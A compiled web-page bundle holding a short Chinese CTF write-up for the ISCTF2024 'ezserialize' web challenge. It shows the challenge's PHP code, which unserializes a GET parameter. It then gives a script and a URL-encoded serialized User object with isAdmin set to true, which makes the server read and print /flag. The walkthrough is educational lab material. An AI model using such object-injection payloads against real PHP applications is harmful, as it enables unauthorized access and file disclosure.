PageSourceSearch

https://www.hestudio.net/assets/ezserialize-isctf2024.html-Cg2sDduh.js

js hestudio.net collected 2026-09-24 10:36:14 UTC 35,731 bytes, 92 lines download raw bytes

1import{_ as s,c as a,f as p,o as e}from"./app-D7CCjthX.js";const t={};function l(c,n){return e(),a("div",null,[...n[0]||(n[0]=[p(`<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
2<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
3<span class="line"></span>
4<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span>
5<span class="line">    <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
6<span class="line"></span>
7<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
8<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">&#39;/flag&#39;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
9<span class="line">    <span class="token punctuation">}</span></span>
10<span class="line"></span>
11<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
12<span class="line">        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span><span class="token punctuation">;</span></span>
13<span class="line">    <span class="token punctuation">}</span></span>
14<span class="line"></span>
15<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
16<span class="line">        <span class="token keyword">return</span> <span class="token string double-quoted-string">&quot;You can&#39;t directly access the flag!&quot;</span><span class="token punctuation">;</span></span>
17<span class="line">    <span class="token punctuation">}</span></span>
18<span class="line"><span class="token punctuation">}</span></span>
19<span class="line"></span>
20<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span>
21<span class="line">    <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
22<span class="line">    <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span>
23<span class="line"></span>
24<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
25<span class="line">
25        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
26<span class="line">    <span class="token punctuation">}</span></span>
27<span class="line"></span>
28<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
29<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
30<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">&quot;Welcome, admin! Here&#39;s your flag: &quot;</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-&gt;</span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
31<span class="line">        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
32<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">&quot;Hello, &quot;</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">&quot;!&quot;</span><span class="token punctuation">;</span></span>
33<span class="line">        <span class="token punctuation">}</span></span>
34<span class="line">    <span class="token punctuation">}</span></span>
35<span class="line"><span class="token punctuation">}</span></span>
36<span class="line"></span>
37<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">&#39;data&#39;</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
38<span class="line">    <span class="token variable">$data</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">&#39;data&#39;</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
39<span class="line"></span>
40<span class="line">    <span class="token variable">$object</span> <span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
41<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$object</span> <span class="token keyword">instanceof</span> <span class="token class-name">User</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
42<span class="line">
42        <span class="token keyword">echo</span> <span class="token variable">$object</span><span class="token punctuation">;</span></span>
43<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
44<span class="line">        <span class="token keyword">echo</span> <span class="token string double-quoted-string">&quot;Invalid object!&quot;</span><span class="token punctuation">;</span></span>
45<span class="line">    <span class="token punctuation">}</span></span>
46<span class="line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
47<span class="line">    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
48<span class="line"><span class="token punctuation">}</span></span>
49<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
50<span class="line"></span></code></pre><div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0;"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>我们需要构造一个 <code>User</code> 对象,并将 <code>isAdmin</code> 设置为 <code>true</code>,以便在反序列化时触发 <code>__wakeup()</code> 方法并执行 <code>getFlag()</code> 来读取 <code>flag</code>。</p><div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
51<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span>
52<span class="line">    <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
53<span class="line"></span>
54<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
55<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">&#39;/flag&#39;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
56<span class="line">    <span class="token punctuation">}</span></span>
57<span class="line"></span>
58<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
59<span class="line">
59        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span><span class="token punctuation">;</span></span>
60<span class="line">    <span class="token punctuation">}</span></span>
61<span class="line"></span>
62<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
63<span class="line">        <span class="token keyword">return</span> <span class="token string double-quoted-string">&quot;You can&#39;t directly access the flag!&quot;</span><span class="token punctuation">;</span></span>
64<span class="line">    <span class="token punctuation">}</span></span>
65<span class="line"><span class="token punctuation">}</span></span>
66<span class="line"></span>
67<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span>
68<span class="line">    <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
69<span class="line">    <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span>
70<span class="line"></span>
71<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
72<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
73<span class="line">    <span class="token punctuation">}</span></span>
74<span class="line"></span>
75<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
76<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
77<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">&quot;Welcome, admin! Here&#39;s your flag: &quot;</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-&gt;</span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
78<span class="line">        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
79<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">&quot;Hello, &quot;</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">&quot;!&quot;</span><span class="token punctuation">;</span></span>
80<span class="line">
80        <span class="token punctuation">}</span></span>
81<span class="line">    <span class="token punctuation">}</span></span>
82<span class="line"><span class="token punctuation">}</span></span>
83<span class="line"></span>
84<span class="line"><span class="token variable">$payload</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string double-quoted-string">&quot;attacker&quot;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
85<span class="line"><span class="token variable">$payload</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span></span>
86<span class="line"></span>
87<span class="line"><span class="token variable">$data</span> <span class="token operator">=</span> <span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$payload</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
88<span class="line"></span>
89<span class="line"><span class="token keyword">echo</span> <span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
90<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
91<span class="line"></span></code></pre><div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0;"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>运行后拿到 URL 编码的序列化字符串,这个字符串就是我们要传递的 <code>data</code> 参数。</p><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D</span>
92<span class="line"></span></code></pre><div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0;"><div class="line-number"></div></div></div><p>然后就可以拿到 flag 了。</p>`,6)])])}const o=s(t,[["render",l]]),u=JSON.parse(`{"path":"/posts/ezserialize-isctf2024.html","title":"PHP反序列化 | ISCTF2024 | Web ezserialize","lang":"zh-CN","frontmatter":{"title":"PHP反序列化 | ISCTF2024 | Web ezserialize","category":["CTF"],"tag":["Web","PHP","反序列化漏洞"],"description":"我们需要构造一个 User 对象,并将 isAdmin 设置为 true,以便在反序列化时触发 __wakeup() 方法并执行 getFlag() 来读取 flag。 运行后拿到 URL 编码的序列化字符串,这个字符串就是我们要传递的 data 参数。 然后就可以拿到 flag 了。","head":[["script",{"type":"application/ld+json"},"{\\"@context\\":\\"https://schema.org\\",\\"@type\\":\\"Article\\",\\"headline\\":\\"PHP反序列化 | ISCTF2024 | Web ezserialize\\",\\"image\\":[\\"\\"],\\"dateModified\\":\\"2024-12-10T14:18:03.000Z\\",\\"author\\":[{\\"@type\\":\\"Person\\",\\"name\\":\\"undefined\\",\\"url\\":\\"https://www.hestudio.net/about/\\",\\"email\\":\\"[email protected]\\"}]}"],["meta",{"property":"og:url","content":"https://www.hestudio.net/posts/ezserialize-isctf2024.html"}],["meta",{"property":"og:site_name","content":"heStudio"}],["meta",{"property":"og:title","content":"PHP反序列化 | ISCTF2024 | Web ezserialize"}],["meta",{"property":"og:description","content":"我们需要构造一个 User 对象,并将 isAdmin 设置为 true,以便在反序列化时触发 __wakeup() 方法并执行 getFlag() 来读取 flag。 运行后拿到 URL 编码的序列化字符串,这个字符串就是我们要传递的 data 参数。 然后就可以拿到 flag 了。"}],["meta",{"property":"og:type","content":"article"}],["meta",{"property":"og:locale","content":"zh-CN"}
92],["meta",{"property":"og:updated_time","content":"2024-12-10T14:18:03.000Z"}],["meta",{"property":"article:tag","content":"反序列化漏洞"}],["meta",{"property":"article:tag","content":"PHP"}],["meta",{"property":"article:tag","content":"Web"}],["meta",{"property":"article:modified_time","content":"2024-12-10T14:18:03.000Z"}]]},"git":{"createdTime":1733820912000,"updatedTime":1733840283000},"readingTime":{"minutes":1.01,"words":302},"filePathRelative":"posts/ezserialize-isctf2024.md","excerpt":"<div class=\\"language-php line-numbers-mode has-collapsed-lines collapsed\\" data-highlighter=\\"prismjs\\" data-ext=\\"php\\" style=\\"--vp-collapsed-lines:15;\\"><pre><code class=\\"language-php\\"><span class=\\"line\\"><span class=\\"token php language-php\\"><span class=\\"token delimiter important\\">&lt;?php</span></span>\\n<span class=\\"line\\"><span class=\\"token function\\">error_reporting</span><span class=\\"token punctuation\\">(</span><span class=\\"token number\\">0</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"><span class=\\"token keyword\\">class</span> <span class=\\"token class-name-definition class-name\\">Flag</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">private</span> <span class=\\"token variable\\">$flag</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__construct</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\">        <span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-&gt;</span><span class=\\"token property\\">flag</span> <span class=\\"token operator\\">=</span> <span class=\\"token function\\">file_get_contents</span><span class=\\"token punctuation\\">(</span><span class=\\"token string single-quoted-string\\">'/flag'</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">getFlag</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">        <span class=\\"token keyword\\">return</span> <span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-&gt;</span><span class=\\"token property\\">flag</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__toString</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\">        <span class=\\"token keyword\\">return</span> <span class=\\"token string double-quoted-string\\">\\"You can't directly access the flag!\\"</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"><span class=\\"token keyword\\">class</span> <span class=\\"token class-name-definition class-name\\">User</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token variable\\">$username</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token variable\\">$isAdmin</span> <span class=\\"token operator\\">=</span> <span class=\\"token constant boolean\\">false</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__construct</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$username</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\">        <span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-&gt;</span><span class=\\"token property\\">username</span> <span class=\\"token operator\\">=</span> <span class=\\"token variable\\">$username</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__wakeup</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">        <span class=\\"token keyword\\">if</span> <span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-&gt;</span><span class=\\"token property\\">isAdmin</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\">            <span class=\\"token keyword\\">echo</span> <span class=\\"token string double-quoted-string\\">\\"Welcome, admin! Here's your flag: \\"</span> <span class=\\"token operator\\">.</span> <span class=\\"token punctuation\\">(</span><span class=\\"token keyword\\">new</span> <span class=\\"token class-name\\">Flag</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">)</span><span class=\\"token operator\\">-&gt;</span><span class=\\"token function\\">getFlag</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">        <span class=\\"token punctuation\\">}</span> <span class=\\"token keyword\\">else</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">            <span class=\\"token keyword\\">echo</span> <span class=\\"token string double-quoted-string\\">\\"Hello, \\"</span> <span class=\\"token operator\\">.</span> <span class=\\"token function\\">htmlspecialchars</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-&gt;</span><span class=\\"token property\\">username</span><span class=\\"token punctuation\\">)</span> <span class=\\"token operator\\">.</span> <span class=\\"token string double-quoted-string\\">\\"!\\"</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">        <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"><span class=\\"token keyword\\">if</span> <span class=\\"token punctuation\\">(</span><span class=\\"token keyword\\">isset</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$_GET</span><span class=\\"token punctuation\\">[</span><span class=\\"token string single-quoted-string\\">'data'</span><span class=\\"token punctuation\\">]</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">    <span class=\\"token variable\\">$data</span> <span class=\\"token operator\\">=</span> <span class=\\"token variable\\">$_GET</span><span class=\\"token punctuation\\">[</span><span class=\\"token string single-quoted-string\\">'data'</span><span class=\\"token punctuation\\">]</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\">    <span class=\\"token variable\\">$object</span> <span class=\\"token operator\\">=</span> <span class=\\"token function\\">unserialize</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$data</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token keyword\\">if</span> <span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$object</span> <span class=\\"token keyword\\">instanceof</span> <span class=\\"token class-name\\">User</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\">        <span class=\\"token keyword\\">echo</span> <span class=\\"token variable\\">$object</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span> <span class=\\"token keyword\\">else</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\">        <span class=\\"token keyword\\">echo</span> <span class=\\"token string double-quoted-string\\">\\"Invalid object!\\"</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\">    <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span> <span class=\\"token keyword\\">else</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\">    <span class=\\"token function\\">highlight_file</span><span class=\\"token punctuation\\">(</span><span class=\\"token constant\\">__FILE__</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token delimiter important\\">?&gt;</span></span></span>\\n<span class=\\"line\\"></span></code></pre>\\n<div class=\\"line-numbers\\" aria-hidden=\\"true\\" style=\\"counter-reset:line-number 0\\"><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div></div><div class=\\"collapsed-lines\\"></div></div>","autoDesc":true}`);export{o as comp,u as data};

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.